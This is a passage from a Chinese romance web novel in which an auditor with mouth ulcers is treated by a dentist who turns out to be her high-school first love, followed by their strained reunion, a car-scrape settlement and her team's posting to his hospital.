《分手后挂了初恋的号》 1. 第 1 章 《分手后挂了初恋的号》全本免费阅读 “请21号患者元知知到3号诊室就诊。” “请21号患者元知知到3号诊室就诊。” 机器播报了三遍,就连就诊区的热心大妈都忍不住冲着人群喊道:“元知知!元知知是哪个啊!叫你号了。” 站在a区窗边打着电话的女人稍稍侧头,一头微卷长发随着动作微微飘扬,划出好看的弧度。 “好像在叫我了,回头再说,你先帮我把陆哥那儿应付着。” “成,我就说你外出查验固定资产去了。” “谢了。” 不是元知知不想请假,这会儿正是项目关键时刻,她实在不好在这个时候向陆昱提请假的事情,而且还是为了一个溃疡。 这连病假的门槛都够不着。 其实准确来说是两个,一左一右两个溃疡霸占着她的舌尖两侧,说话都疼的脑子抽抽。 按她的习惯本来还能再坚持坚持,直到溃疡自己扛不住向她妥协选择自愈。 但她妈妈亲爱的张女士在电话里表示从小病能看大病,这是身体在向你预警了,到时候别真得什么大病。 元知知虽然和广大年轻人一样从大学起就成天把想死挂在嘴边,但身体一有什么小问题跑医院跑的比谁都快。 尤其是毕业进了事务所后,她成天黑白颠倒的跟项目跑外勤,自己也能感觉到身体一日不如一日。 论惜命她绝对能排得上号。 所以即使知道百度不可信,她还是被百度结果吓了一跳,当即就挂了当地三甲医院第二天口腔科的号,生怕出了什么大问题。 毕竟确定身体无碍后才能安心加班。 元知知把手机收起来,挂着皮包踩着高跟鞋哒哒哒就朝诊室内走去。 科室内的医生护士们目光被短暂吸引一瞬,又很快埋头各干各的。 虽然华清一院是三甲,但毕竟公立,国家拨了款下来也没紧着更新口腔科。 所谓的几诊室不过是分了几道门而已,一进去就发现还是一个拉通的大房间。 护士们从这个诊床跑到那个诊床,一个能被拆分成三个用。 有不少年轻些的医生直接单打独斗,刚调整完吸唾器又马不停蹄掰开患者嘴敲敲钻钻找寻刚刚清理到哪了。 一时间元知知恍惚觉得自己不是进了一个三甲口腔科,而是进了鸡飞狗跳的菜市场。 牙科手机和三用枪的嘈杂声齐飞、医生配药呼唤声与患者哭喊声共唱。 太热闹了。 元知知听着一左一右、一男童一女童的哭声二重唱只觉得脑袋快要炸开。 但无论如何,还是比领导们的叭叭声动听许多。 她循着挂号信息找到自己的诊床,简陋的塑料隔板上用蓝底白字标明着阿拉伯数字3。 一颗即使戴着手术帽也显得圆润的脑袋背对着她,大概是小时候家里长辈非常注意给调整过,头骨睡得既饱满又漂亮。 让她隐约想到某些旧人,也有这么一颗漂亮的头骨。 白大褂严丝合缝的扣着,被这背影撑得饱满,只是一眼元知知就已经笃定掩藏在这千篇一律白袍下的是宽肩窄腰好身材。 人瞧着极年轻,不过若不是足够年轻她恐怕也不能只提前一天还能挂到华清一院的号。 毕竟其他医生的号早两三天前就一抢而空,且拒绝加号。 好在她不是只凭借年龄就评判医生的患者。 每次作为患者来医院时她都无暇思虑其他,这个年轻医生倒是反常的让她思绪开始发散。 元知知第一个想法是还有时间去健身,看来读医对他来说还不够摧残; 第二个想法是果然是资历浅的小医生,满科室飞来飞去的护士没有一个有空飞到3诊床旁边给他打辅助的。 大概率挂他号的患者都是一些无伤大雅的小毛病。 比如她的溃疡。 “叫什么名字?” 清越的嗓音如汩汩清泉,叩击着人的心弦。 元知知愣了,刹那间脑中纷飞的思绪全部化为乌有,只余一片空白。 却不是因为这声音好听得过分。 她一双总是飞扬着自信光彩的眼里隐隐透露出无措。 细微的不耐在这道温和的嗓音中被隐藏的很好,但元知知却能分辨出来。 高中时面对着无穷无尽的蠢问题,似乎有人也是这样,只有她能听出他的真实情绪。 手上方才没有注意到的就诊签到凭条上两个方方正正的正楷字清晰倒映进元知知比旁人浅上一些的瞳仁:孟懿。 捏着这张薄薄就诊凭条的手恍神般晃动一下。 终于,一直得不到回答的孟懿转头,打算看看这患者是什么情况。 但目光中的凌厉在接触到女人面颊的一刻烟消云散,取而代之的是有些滑稽的呆愣。 “元知知,我叫元知知。” 她在他转头的那一刻就已经收敛好了眼中的情绪,就像一个再普通不过的病人,只余对医生的陌生与对自己身体的担忧。 即使被手术帽和医用口罩遮得严严实实,元知知还是通过那双眼睛确定了,就是孟懿,是她认识的那个孟懿。 到这一刻她不禁懊恼,挂号时应该看清楚医生名字的,哪怕推迟一天再来检查也成。 这剩的唯一一个就诊号原来不是上天赏的好运,而是迎头泼下的一盆狗血。 放在八点档肥皂剧里或许不算狗血,但时隔十年与初年男友再相遇,对于元知知成天风风火火与甲方斗智斗勇的日子来说,已经算是波澜起伏的生活里又一盆大狗血。 何况他们分的不算好看。 孟懿在看到来人的一瞬大脑中严谨的钟摆就近于停滞,几乎是茫然地看着眼前的女人。 分别多年,她已经从一个女孩变成了女人。 乌黑的高马尾变成了栗色的大波浪,婴儿肥的脸蛋也显出了清晰的棱角,唇上涂抹的橘红色遮盖掉了原本唇色的苍白。 属于十八岁的青涩早已消失的无影无踪,她成了许多十八岁女孩会向往的那类女人,精明干练又美艳动人,是她们心中能够独当一面的大人。 她已经成为曾经的她口中向往的模样了。 “医生?” 女人看他的目光极其陌生,孟懿刚整理好心情,在与她视线相触时顷刻又觉得心中堵得慌。 元知知注意到他的视线,不好意思的笑了一声:“不好意思,忘了不该擦口红的。” 她在包里翻找一阵无所获,一包抽纸从下方递到她的眼前。 “用这个擦吧。” 刚才还温和的声音现在却变得冷冰冰,连隔壁2诊床的年轻小护士都抽空抬眼朝这边望了一眼。 什么时候听过孟医生这种语气? 元知知也不跟他客气,随手抽过抽纸轻轻沾着唇瓣。 < 2. 第 2 章 《分手后挂了初恋的号》全本免费阅读 “躺下,我看看。” 孟懿只是盯着她的眼睛,再次重复了一遍。 元知知犹豫了半晌,终于还是在与前男友赌气和自己的身体健康中选择了身体。 毕竟前男友已经是过去式了,但身体还要靠她自己来爱护。 乖乖躺下的女人渐渐与梦中的面容重叠,餐巾纸擦拭过的嘴唇还留着些许残红,尽数抹在了蓝色的橡胶手套上。 孟懿第一次觉得医用手套太薄了,薄的他能清晰感知到她温软的唇被压在自己掌下,将人拉回十八岁的夏天。 元知知张着嘴等了半天,只等来口镜在口腔里转了一圈,然后迟迟没有动静。 她从小牙就不好,高中时躺在家附近的牙科诊所时就很认真的想过,如果有一天和前任重逢,一定不要是现在这幅样子。 张大着嘴拿鼻孔对着人,那多丢脸呀。 不管什么原因,她这么好,分手肯定是对方的错,再重逢一定要光鲜亮丽盛气凌人才是。 不成想一语成谶,还真让她以这样的方式和初恋重逢。 她丢脸的闭了闭眼。 注意到她神色的孟懿回神,将口镜拿出来:“牙龈上没有看到溃疡。” 她从学生时代就极其漂亮,让不少毛头小子们都移不开眼的漂亮。 老人们说得对,越美的女人越会骗人。 漂亮又如何,不过是一个骗子罢了,还是一个才十六七岁就学会骗人的女人。 说过的话许过的承诺哪怕再坚定,后来还不是忘得一干二净。 “牙龈没长,是舌头上长的溃疡。” “舌尖两端是有两处溃疡愈后瘢痕,除了这两个地方你还有哪里疼得厉害没有?” 元知知抿了抿唇缓解刚才一直张嘴的不适感:“没有了,就这两个地方疼。” “嗯。” 被纯白窄袖包裹的手臂从她头顶略过,像要抬手揉乱她的发顶,但最终只是随手抬高了口腔灯,她从诊床上坐起,留给她的是一道冷漠的背影。 孟懿已经坐在电脑前点开她的挂号信息了。 高跟鞋轻敲地面的声音短暂响起,然后停在他的身边。 “年龄?” “27” “职业?” “坐办公室的。” “结婚了吗?” 一阵沉默,其实并没有持续多久,但就是这两三秒让孟懿等得不耐烦了。 他抬头,直直撞进元知知的眼睛里:“结婚了?” “没有,也没有男朋友。” 她笑眯眯的回答让凝滞的空气霎时流动起来,孟懿在病历页面点上“否”的选项,面上没有丝毫波澜:“婚配与否是例行询问,恋爱关系不用回答,家里有其他人爱长溃疡吗?” “没有。” “以前有其他病史吗?贫血、高血压、心脏病......” “有贫血。” “之前查过血?” 元知知点头。 孟懿分明没有侧头看她,却像是清楚看到了她在点头一样,眉头蹙起:“是又没有好好吃早饭——” 这话一出他就猛然顿住,随即生硬的换了个问题:“平常爱感冒吗?” 元知知略作回想,还是点头道:“容易被传染感冒。” 孟懿搭在鼠标上的手紧了紧,病历上分条分列例行的问诊已经问完了,他没再继续问什么。 键盘快速的敲击声在这个被低矮塑料挡板围起来的小格子里响个不停,元知知没戴眼镜,眯着眼睛瞧着蓝光屏幕上一行行光标闪烁下跳动出现的字。 他们一站一立,近的可以感受到对方身上的热气。 他到底认出来我没有?元知知不太确定。 冰冷的侧脸将她拒于千里之外,元知知突然状似疑惑的问道:“孟医生呢?有女朋友吗?” 敲击着键盘的手指一顿,孟懿的表情没有丝毫变化,而元知知也意料之中的没有得到回答。 “你的溃疡已经快要自行愈合了,实在疼得厉害的话我给你开了点液体药,不用的时候放冰箱就行,不用担心,会自愈的溃疡都没有大问题,日常在家里备一瓶维生素B,以后注意保持睡眠充足增强抵抗力。” 公事公办的交代让人连沉溺过往的错觉都很难出现。 电脑旁的打印机呜呜作响着工作,修长的手指取过弹吐出的A4纸递给她,“去一楼交钱拿药。” 薄薄一张病历被接过,她折了两折放进背着电脑的包里,轻飘飘的没有一点重量,就像这次重逢一样。 交叉的两条线本不应该有第二次相交的机会,他们很快会各自忘掉这一天,一头扎回自己惯常的生活中。 她道了谢要走,却见孟懿抿了抿唇,突兀又开口道:“我们医院有洗牙套餐,有需要的话可以定期来我们这洗牙,挂我的号就行,很划算。” 许是察觉到元知知愕然的视线,他紧接着又道:“为了牙齿健康。” 他指了指贴在墙上的“爱牙护牙科普小贴士”展板,像每一个勤勉尽责向病人普及口腔卫生常识的普通医生一样。 “谢谢医生,不过不用了。” 她留下一个客套礼貌的笑容,转身离去。 与此同时,一句从喉咙中挤出来的轻飘飘的“没有”触及她的背影,又砸落在地上。 匆忙赶在回组里的路上,一直到挂断来自章汝舟的电话后元知知才反应过来。 孟懿刚刚在回答她。 “孟医生呢?有女朋友吗?” “没有。” 原来认出她来了啊,那冷冰冰的嘴脸真让人讨厌...... “在路中间挡着干嘛呢?” 路人的抱怨扯回她的思绪,她一手还保持着接电话的姿态,慌忙让开:“不好意思。” 回到这段时日出差驻扎的国企会议室时,组内同事一个二个均是脑袋快钻到电脑里去的模样,连和她打个招呼的闲暇都没有。 章汝舟暴躁的扯着自己往日精心护理的长发,见她来了宛如看见救星,“你可算回来了,陆经理那边我都快应付不过去了,再不回来我可就瞒不住了。” 没事陆哥,有事陆经理,看来陆昱今天情绪的确很差。 她轻叩三下红木门,是这国企公司单独为陆昱辟出的一间小办公室。 “进来。” 不虞的面容在看到来人后稍稍缓和,对待得力的下属陆昱一向是第二幅面孔:“去医院看过了?没什么问题吧?” 元知知轻笑:“我以为小舟真的瞒住你了。” “手上的年审都已经进入收尾工作了,还要你去外面盘点什么固定资产,找借口也不知道走心一点。” “你就别吐槽她了,她最近和甲方爸爸们沟通的快要碎了,人家天天叫嚣着要找我们经理来,她这不是充当一道牢牢的防线让你耳根子清净不少嘛。” 陆昱脾气不好,但对手下人一向不错,能力更是没话说,他们一众人都对这个老大心服口服。 今天这幅模样的确少见。 “这是在办公室里发了一下午呆?”元知知点点他合着的笔电,“这样消极怠工还怎么升任SeniorManager罩着我们在所里横行霸道?” 陆昱苦笑:“升什么升,人蔡经理还没升呢,轮得到我得道升天?” 3. 第 3 章 《分手后挂了初恋的号》全本免费阅读 章汝舟长相柔柔弱弱、名字斯斯文文,其实是他们组里最能喝的那个。 当她都喝到上脸的时候,元知知就知道整桌人应该没有能站得起来的了。 好在他们来华清市出差的这段时日住的都是所里订的酒店,不用分开送人回家倒也省了很多事。 打了两辆商务车,章汝舟和另一个男同事各自看守一车酒鬼回酒店,留给她的是最难搞的陆昱。 就算上了酒桌也没人敢动这个脾气糟糕的老大,只能由喝的最少的元知知挺身而出担下这个重担。 “妈的你个蔡狗,不就有个好爹!” “刚来所里还是......我带你的呢......” 陆昱嘴里就没停过,元知知本来还能忍着,但架不住他醉的撑不起来的脑袋就在她的耳边,声音就算不大也吵得她心烦。 但大家当牛做马摸爬滚打不就是为了那点看得到的上升希望吗,铁板钉钉的晋升名额被自带资源的太子爷顶了,下一次机会也不知道要等到什么时候。 虽然嫌他烦,但元知知很能感同身受。 “行了行了,回去好好睡一觉明天一早又是一条好汉了。” 陆昱不依不饶,她忍无可忍,终于准备上手把他的脸推向地面垂着。 “还来吃烧烤?看来你溃疡是不想好了。” 熟悉的声音,嘲讽的语气,元知知愕然,一时间不知道用什么表情面对来人。 来华清市出差也有两个月了,此前从来没碰到过孟懿,都快走了却在一天之内两次和他碰面,还都不是自己想象中光鲜亮丽的模样。 “还喝了酒?上午不还说溃疡很疼,原来喝酒就不疼了?” 手从陆昱脸上挪开,醉醺醺的人重新一头栽回了她的肩上 她抬头牵出从容的笑容,却正好对上孟懿骤冷的面容。强行克制住心里的酸涩,元知知当即也敛了笑。 就这么不乐意看见她?那还主动上来搭什么话,给自己找不痛快? “原来是孟医生,感谢关心。” 冷冷淡淡的语气让面前人面容更冷了。 “原来你上午认出我了的?” 元知知面上没有一点被戳穿的心虚,好像演陌生人演得炉火纯青的人不是她一样:“当然,毕竟同学三年,或多或少都会记得。” “同学?” 元知知总觉得这两个字是咬牙切齿挤出来的,但男人深邃优越的眉眼看起来却突然平静,甚至连刚才的冷峻都彻底没了。 一声冷笑,她看见面前男人侧开身子:“那就不打扰老同学约会了。” 陆昱还在喃喃问候着所里合伙人的全家老小,元知知有些庆幸幸好孟懿听不到他在念叨什么,有些嫌弃的亲昵揽住他的肩膀:“那我们就先走了,有空再聚。” 这个“有空”代表着后会无期,他们都懂。 孟懿停在原地,看着郎才女貌的一双背影跌跌撞撞走向路边。 看病时装的那么自然,好像生怕和他扯上一点关系。 他也不是什么很贱的人,她不愿意他难道还会纠着缠着与她相认? 陆昱不胖,甚至有着常年健身的优美肌肉,平常看着是赏心悦目,但现在元知知感觉自己要喘不上气了。 “陆哥要不考虑下别撸铁了,肥肉都比你这身肌肉轻多了啊。” 早知道聚餐前应该把高跟鞋换掉。 要不是还有个初恋男友在背后看着,她一定已经把他扔在路边了。 肩上突然一轻,元知知下意识伸手去拦,却什么也没拦到。 陆昱已经趴在了孟懿的肩头,他的动作毫不温柔甚至粗鲁,陆昱不舒服的呢喃两声,但他并不理会,只神色莫测的盯着元知知拦截未遂的手,不知道在想什么。 陆经理已经算是挺拔的个子在他面前还是矮了半个头。 “你就找了个这?” “这么晚了独自喝的醉醺醺连路都走不稳,最后还要靠工作了一天的女朋友来接他回家?” 他扫视过元知知脚上的细跟,转头看着陆昱的眼神是不加掩饰的厌恶与不满。 元知知抬手看了眼手表,也才十点不到,孟懿说的却像是现在已经凌晨三四点了一样...... 没必要解释什么,更是出于某种不想解释的心理,她在心中默默向背锅的陆经理道了个歉,然后站在路边挥手拦出租。 “你家在哪,我开了车,送你回去。” “不用了,我还带着个醉鬼呢等会儿把你车熏臭了,我自己打个出租就行。” 男人闻言也不再说什么,一手插兜一手架着陆昱跟在她身后。 这一带喝酒吃夜宵的人不少,跑车的司机也不少,很快就有一辆出租车停在他们面前。 她打开后车门,孟懿把陆昱直接塞了进去,元知知不想委屈自己忍耐他的一身酒味儿,干脆转身打开副驾驶的门才又坐进去。 孟懿见状眉头微松,本该告别了,他伸手揽住欲关的车门:“你等等,有东西给你。” 他的脚程很快,一分钟不到就折返回来,手上透明的塑料袋与风摩擦着猎猎作响。 这袋东西被不容拒绝的放到了元知知怀里,她拎起来看了一眼,上面还有‘华清一院’的LOGO和全称。 是他今天给她开的药。 元知知排斥用药,不管是涂抹的还是吞咽的,倒也不是怕苦,只是觉得麻烦。 知道没什么大问题后她就直接离开了医院,根本就没有去医院一楼药房拿药。 溃疡嘛,熬一熬就过去了。 爱惜身体也是她,不肯吃药还是她。 孟懿也不知道怎么的,突然就想起了她这个毛病,不受控制的从医生页面的后台点进去查看,看到的果然是没有支付取药的记录。 午休的时间他在绿化园里把玩着一根未点燃的烟坐了很久,回诊室时却鬼使神差去了一趟药房。 “地塞米松不是特别疼可以不用涂抹,但维B这段时间每天都吃两片。” “还有就是,”孟懿抿直了唇,“尽量不要喝酒,也少吃这些重油重盐刺激性大的东西,口腔溃疡也跟你男朋友说一声,让他最近这段时间不要再带你来吃这种东西。” 陆昱神志不清的瘫在后座,砸吧着嘴里残存的酒气,还不知道自己莫名其妙背上了不关心女朋友、不负责任、大半夜酗酒还要女朋友来接的种种罪名。 元知知不是不识好歹的人,闻言笑道:“我知道了,谢谢孟医生。” 这一次车门被嘭地一声拉上,他听见她对司机说:“去尊悦酒店。” ...... 也对,他们是情侣,去酒店很正常。 来电铃声响起,孟懿接起,视线还死死锁定在已经 4. 第 4 章 《分手后挂了初恋的号》全本免费阅读 元知知沉默没几时就应下了,心中默默盘算,像财务、行政这类办公室应该会和门诊大楼分开吧。 “对了,昨天喝多了车还停在那烧烤摊儿门口,刚好给你放半天假,把我车开回酒店去停着,一直停在路边别让人蹭了。” 资本家就是资本家,看看给资本家打工的高级牛马也已经沾染上了他们的恶习。 但元知知还是任劳任怨接过了陆昱的车钥匙,深深认为这天上掉下来的半天假倒是能勉强抵消陆昱身上的恶臭剥削气息。 直到她看到了陆昱那辆体型不小的路虎揽胜前车窗上插着的一张便签纸。 果然这半天假不是那么轻松的。 便签纸上黑色字迹力透纸背、龙飞凤舞,但奇异的是不难让人看懂。 元知知自幼儿园起就开始的“别人家孩子”的完美人生里只有“字”是她唯一的命脉,从小学被说到大学,高考前班主任耳提面命生怕她因为字迹扣分,大学竞选班长时辅导员委婉提示以后班委申请表这种东西可以用打印的不必手写。 倒也不是丑,只是握笔姿势太过用力导致笔画不够优美,完全算得上工整,只是人们面对长相好又是学霸的学生时总会下意识有一些一手好字的刻板印象。 多亏信息化这个伟大的发展趋势,否则工作了也别想逃脱因为字迹平添污点的命运。 也因此她对手中的便签多看了几眼,看得出来主人有书法功底,一般人这么画上几笔应该就和医生们的一手自创草书差不了多少了,都别想让人看懂。 怎么又联想到医生去了,她撇开脑中的想法,循着便签上的留言环绕着陆昱的车走了一圈,果然在车尾灯附近发现了一处擦痕,对方应该是一辆黑车,剐蹭留下的黑漆在白色路虎的尾部格外显眼。 这一处划痕不大,六七百以内应该能解决,现在就看对方是想公了还是私了了。 她在手机拨号键里一一按下便签上留下的数字,呈现在她眼前的却是一串熟悉的号码。 - 孟懿给上午最后一个病人做好根管填充之后科室里已经没有别人了。 他是年轻的主治医师,有时候看不过去不会线上预约的老人匆匆赶来医院却又挂不上当日号,总会心软几次给他们加自己的号。 这也就导致了一周总有几天独自加班到整个科室就余他一人的情况。 孟懿也不在意,他解开白大褂的扣子,套上立领黑风衣,宽肩窄腰就像一个衣服架子,白大褂都穿得好看,换成风衣更是长身鹤立、气质出众。 只是换下医生这个身份后平添了几分距离感,眉目中尽是冷冽与淡漠,让人待在他身边时颇能感受到几分压迫感。 他没什么胃口,同科室的同事大都结束用餐散去了,他乐得自在,只让阿姨打了两个素菜就独自找了个靠窗的位置坐下。 高中时也不爱呼朋唤友,但身边总是跟着一群自称小弟的青春期男生,也就这么热热闹闹过了三年。 但现在他更喜欢安静,有意识的寻找孤独,太热闹了吵得他心烦。 都说离别的人总会在你的身上留下属于TA的烙印,现在的你是由一部分曾经的TA组成。 孟懿嗤之以鼻,他绝不承认元知知会在他身上留下什么,他如今喜欢安静,也只是因为他喜欢而已,无关任何人。 大衣口袋里的手机震动起来,有电话进来。 是李杭的。 李杭毕业后直接进了他爸的诊所做牙医,不愁钱也不需要晋升,人没什么大志向,当初选专业也是按照家里的意思来,是他们宿舍里过得最潇洒的一个。 什么都好,就是感情上和他们在两个维度。 他是个典型的花花公子,爱玩从不付出真心,倒是有原则,也只和玩咖玩感情。前些日子他又一次换新女友时他们谁也没在意,三个月是他的极限,没想到就这一次人栽了。 人是个女大学生,刚好卡着三个月的时候将他甩了,说要去考研,他太碍事了。 李杭破大防,找了陈骏驰和他无能狂怒了好几天,最后才终于承认自己就是舍不得人家、动了真感情。 对此孟懿的评价就两个字:报应。 因着他在公立医院上班忙起来黑白颠倒的原因,李杭总是抓不住他,这次卡着午休时间给他打电话正好将这个不敬业的倾听者抓住了。 电话刚接通就是一阵鬼哭狼嚎,孟懿捏紧了筷子,科室里接诊的小朋友不少,他能忍受他们因为疼痛哭闹不止的声音,也能耐下性子温柔安抚,但忍不了自己兄弟这幅鬼样子耽误他时间。 “三秒之内吐不出一句人话我就挂了。” “别别别,”李杭终于肯好好说话,但却带着不知从何而来的扭捏:“这不是第一次分手没有经验吗......” 在他的心里被分手才叫分手,而且还是被自己头一次喜欢上的女孩分的手,他直接把这段恋情视作初恋了。 孟懿和陈骏驰都觉得他挺有病的,但看着人伤心成这幅样子,终于还是忍下了真心话。 “我想着你大学时候不是为你那个初恋伤心的死去活来,那个时候我不懂你,现在终于懂了,就想着找你取取经......你是怎么走出来的......” 孟懿刚上大学时整个就是一个忧郁帅哥,把系里女同学迷得五迷三道的,那个时候他们宿舍的人还看他不爽,觉得这人怎么这么装。 直到班里团建他把自己喝趴下了,出于仅有的一点室友情送他回宿舍时才从他的三言两语里面拼凑出了一个到现在还让他念念不忘的初恋。 男寝之间的友谊有时候就是这么奇怪,他们怜爱的看着这个为情所伤的英俊少男,从此室友情变质成了父子情。 当然直到后来他们才意识到谁是父谁是子。 这么多年来知情者里谁也不敢在他面前提起元知知,只有李杭有一种看不懂眼色的勇。 “走不出来就在里面困着吧,困久了也就习惯了。” 孟懿语气中的冷漠毫不遮掩,李杭哀嚎着:“不是吧兄弟,怎么这么敷衍一个为情所困的可怜人——” 他没有丝毫犹豫挂断了电话,捏捏眉心,面对着盘子里仅有的两道素菜和一拳米饭也彻底没了胃口。 其实算不上敷衍,他说的话都是真的。 手机来电铃声再次响起,孟懿不耐的“啧”了一声,却在下一刻愣在原地,浑身僵硬,就连抬起欲按静音键的手指也悬在屏幕上方迟迟不 5. 第 5 章 《分手后挂了初恋的号》全本免费阅读 孟懿的眸子比常人要深一些,当他注视着一个人的时候不会让人产生任何错觉,他就是已经锁定你了。 因此当那双黑眸撞进她的眼里时,元知知万分确定孟懿已经看到她了。 她是一个很享受私人空间的人,从高中起就厌烦和别人任何事都要同进同出,因此一个人看电影、一个人去KTV、一个人旅游都是常事,从容而享受。 但被孟懿撞见自己独自看电影后竟然久违的生出几分尴尬。 但事已至此,掩饰也无益,未免徒增尴尬她干脆一撩头发朝孟懿走过去。 “不是约的六点半?怎么来的这么早?” “今天下班早就来了。” 时隔许多年,元知知发现自己还是能偶尔解读出孟懿的眼神:怎么自己一个人来看电影?男朋友呢? 两人又陷入沉默,孟懿能闻到她身上若隐若现的木质香水味,像雨后的森林,是一种冷峻的温柔。 他们谁也没有提出要不要去咖啡厅坐坐,径直朝陆昱的车走去。 "这些年过得还不错吧?没想到你会选择学医。" "嗯。" 一路没话找话让场面更加尴尬,元知知抿了抿唇,将目光挪到低空中形状特别的白云上。 随即她断断续续能感觉到落在自己身上若有若无的视线,环视了一圈,行人都是匆匆低头行路,最后把怀疑的目光落在孟懿身上。 元知知有一米七的个子,但站在这个男人身边还是显得有些娇小。 他低下头看她,面上没有一丝波动,疑惑的问道:“怎么了?” “没事,你看想走公还是私?” 孟懿的目光循着元知知的手在路虎车尾灯处的划痕逡巡片刻,“是我全责,看你意愿。” 元知知思索片刻:“私了吧,我不是车主,到时去交警队处理还得麻烦车主过来,但你如果想走保险也行,我再联系他过来。” 不是车主但来处理这车的事故? 孟懿垂下眸子,不用问就知道这车是谁的了。 “车主人呢?” “他啊,还在加班呢。” 陆昱现在应该还死守在国企办公室和甲方、所里分别对接出具报告的事情,这么一想元知知内心有一种微妙的平衡。 “加班?” “有时间喝酒没时间来处理自己车子的事情?” 元知知讶异的挑了挑眉毛,看着从刚才见面以来始终让人看不出情绪的孟懿突然加重了语气,这一瞬间她好像看到了高中时代的那个痞气不服管教的刺头。 “他太忙了,没办法的事。” 孟懿只需要瞥一眼她手上的包就知道里面装着笔电,大概是上着班就过来给人处理这些杂事了:“元知知,你现在找的男朋友就是这种人?” 酗酒就不说了,连一个剐蹭都要叫同样需要上班的女朋友处理,找妈还是找女朋友? 元知知暗自懊悔,早在中午知道对方是孟懿时就应该让组里的小朋友来帮他们陆哥处理这车的,他们就不应该碰面。如今是解释了也不对,不解释也不对。 如果现在说陆昱其实不是她男朋友只是上司,那在他眼里她编出个男友来骗自己偶然重逢的初恋是怎么回事? 那不就是活脱脱的放不下?不管她是怎么想的,孟懿一定不能这么想。 可至少未来两个月都还要在同一家医院工作,元知知颇有哲理的想着:果然有了第一个谎就需要无数个谎来圆。 但她只是在他误解时没有出言澄清而已。 不算撒谎。 大不了以后尽量减少碰面,财务办公室和口腔科诊室隔着十万八千里呢,元知知从乐观的角度做出计划。 陆昱终究还是背下了这口巨大的黑锅。 “事业重要嘛,加班是难免的,难道你们医生就不加班能随时陪着女朋友了?” 孟懿张了张嘴,半晌无法反驳什么。 终是又冷了面色。 元知知伸出微信收款码,孟懿见状也点开微信扫了一千块过去。 收款提示弹出屏幕,元知知抬了抬眼,这和他们协商的有些出入:“补个漆的话这应该多了。” “那你把多的转回给我。” 孟懿从兜里重新掏出手机递到她面前,她一扫二维码,却发现不是收款码而是个人名片,直接跳转到添加好友界面了。 微信名字居然还是她熟悉的那一个,从十年前就开始用了,由姓名首字母组成的【MY】,后来他们在一起之后她也在某一天把微信名改成了【Bae】。 MYBae。我的宝贝。 这是少年少女时代青春蓬勃之下暗涌的甜蜜,他们难以克制住对对方满溢的喜爱,便选择了这种方式暗戳戳的示爱。 幼稚,但甜蜜。 是上着课时想起都要偷偷笑一阵的开心。 “你这微信名——” 元知知刚开了口又闭嘴,本只是下意识的寒暄,但她发现任何寒暄在分手的前任之间都是不合适的。 但孟懿回答她了,直视着她的眼睛:“因为直接用大名也不方便,就懒得改了。” 元知知点头,看得出来他没有其他意思,大概也早就将高中时那点隐藏巧思的小甜蜜忘了个干净。 她压下心中翻涌的情绪,手机一直停留在添加好友页面,迟迟没有按下“添加到通讯录”的键。 男人眉心一挑:“不小心调成好友二维码了,你不愿意加的话我换成收款码也行。” 见人犹豫他又补充道:“只是昨天晚上我第一时间拍的剐蹭处照片就不方便发给你了,要不然用邮箱发你?” 那些照片孟懿刚刚已经给她看过了,和陆昱车上刮痕一般无二,双方定责也就没有异议。 但毕竟还是自己手上留个痕比较好,元知知想了想是这么个道理,其他联系方式更麻烦,还是按下了申请键:“不用了,我加你,记得通过后发照片给我。” 她按开车门坐进驾驶位,朝窗外站着的男人摆了摆手后就扬长而去。 陆昱没有在原地停留多久,也朝自己停车处走去。 微信联系人的图标上冒出一个红点,他摩挲几分钟,还是暂且没有点开。 - 元知知回到酒店时组里人都回来了,正齐聚在陆昱房间加这个项目的最后一次班。 这个夜晚一定要把报告出出来,才能在两个项目间夹缝求生好好休息两天。 她把赔偿的钱转给陆昱,车钥匙丢给他就瘫坐在沙发上,在一众加班牛马中格外招人嫉妒。但人毕竟在大家睡觉时独自工作了一上午搞定了巨大工作量,众人心里还是有数的。 “自己回海河市补漆吧,不影响开。” 陆昱眼也不抬:“我高铁回去也行,你们后面还得留在这 6. 第 6 章 《分手后挂了初恋的号》全本免费阅读 华清一院和他们确定了合作关系以后早早就给事务所审计组的人安排了办公地点,甚至提前做了打扫,就在财务科办公室相隔了两个房间的会议室里,宽敞明亮,刚好能容纳下他们七八个人。 他们未来两个月左右都会扎根在这个会议室里办公。 环境不错,位置方便。最让元知知满意的是财务办公地点如她所料在行政楼上,正好和门诊大楼遥遥相望。 她从来不信分手后还能做朋友那种可笑的话,至少对她来说有些可笑,因此觉得两人能避开见面当然是最好不过的了。 尤其是每每想起孟懿冷冰冰的态度,元知知自嘲的笑了笑,于他来说重逢或许是一件很倒霉的事情。 华清一院的财务科主任姓吴,是个胖胖的中年男人,和人见面时无论是谁目光都会第一时间被他的脑袋夺去,头顶油光水亮,周围还残存着一圈若隐若现的黑发,介于光头与地中海之间,可以说是非典型地中海。 很符合普罗大众对中年男领导的刻板印象。 但吴主任长了一双笑眼,和谁说话都是笑眯眯的,看起来很是亲善。 元知知这次只是领着人来熟悉他们在华清一院的办公室,顺便和甲方单位的财务拉近关系,因此众人放下各种办公用品后也不着急整理。 不方便坐下一拨人就站在办公室里你来我往的寒暄,没聊上两句吴主任就叫上元知知师妹了。 他们是一个大学的校友,吴主任比她高了十多届,唯一不同是吴主任当初是审计系毕业,她是会计系毕业。 海城大学是名校,校友荣誉感强,因此互相之间情感上的羁绊也深。 吴主任当即拍板今晚就要请他们项目组吃饭。 元知知本还打着借校友情谊直接含糊掉这次饭局的主意,闻言只得点头应下。 每个人表达感情的方式不同,她不能刚来就驳了人家面子,况且吴主任确实是好意。 大医院的财务科比起企业财务人员简单许多,但这是所里的新项目,他们此前对这个医院的状况都不熟悉,无论如何能在酒桌上拉近关系合作起来阻碍的确会小不少。 吴主任当即打电话订包间去了,留下事务所的一群人面面相觑。 “先整理吧,今天要是喝的不多明天直接来开工了,喝的多了就再看情况安排。” 稍作整理没花多长时间,打了招呼后他们一行人就准备先离开医院回酒店,吴主任挥了挥手机,示意已经把晚上吃饭地点发给元知知了。 - 医院绿化做的极好的小花园里,孟懿从另一栋楼取了资料回科室的路上被患者拦住,是半个小时前就诊离开的患者,因为仍有不适感不放心又回来找他,还没上楼就将他撞了个正着。 孟懿放下手中翻看的资料,停下脚步耐心回答患者的问题和担心,还没说上两句在抬眼的瞬间却突兀一顿。 他眉峰微弯,眼神中流露出几分诧异。 正在手机备忘录上一字一句记着拔牙后注意事项的病人一看他这副表情心头就是一跳,小心翼翼道:“孟医生?” “我这牙拔的是有什么问题吗?” 孟懿回神:“没事,最后一点就是千万别拿舌头去舔伤口,其他的没什么了。” 患者道完谢离开后他再抬头看,刚刚那群抓住他视线的人已经不见了。 应该是看错了吧。 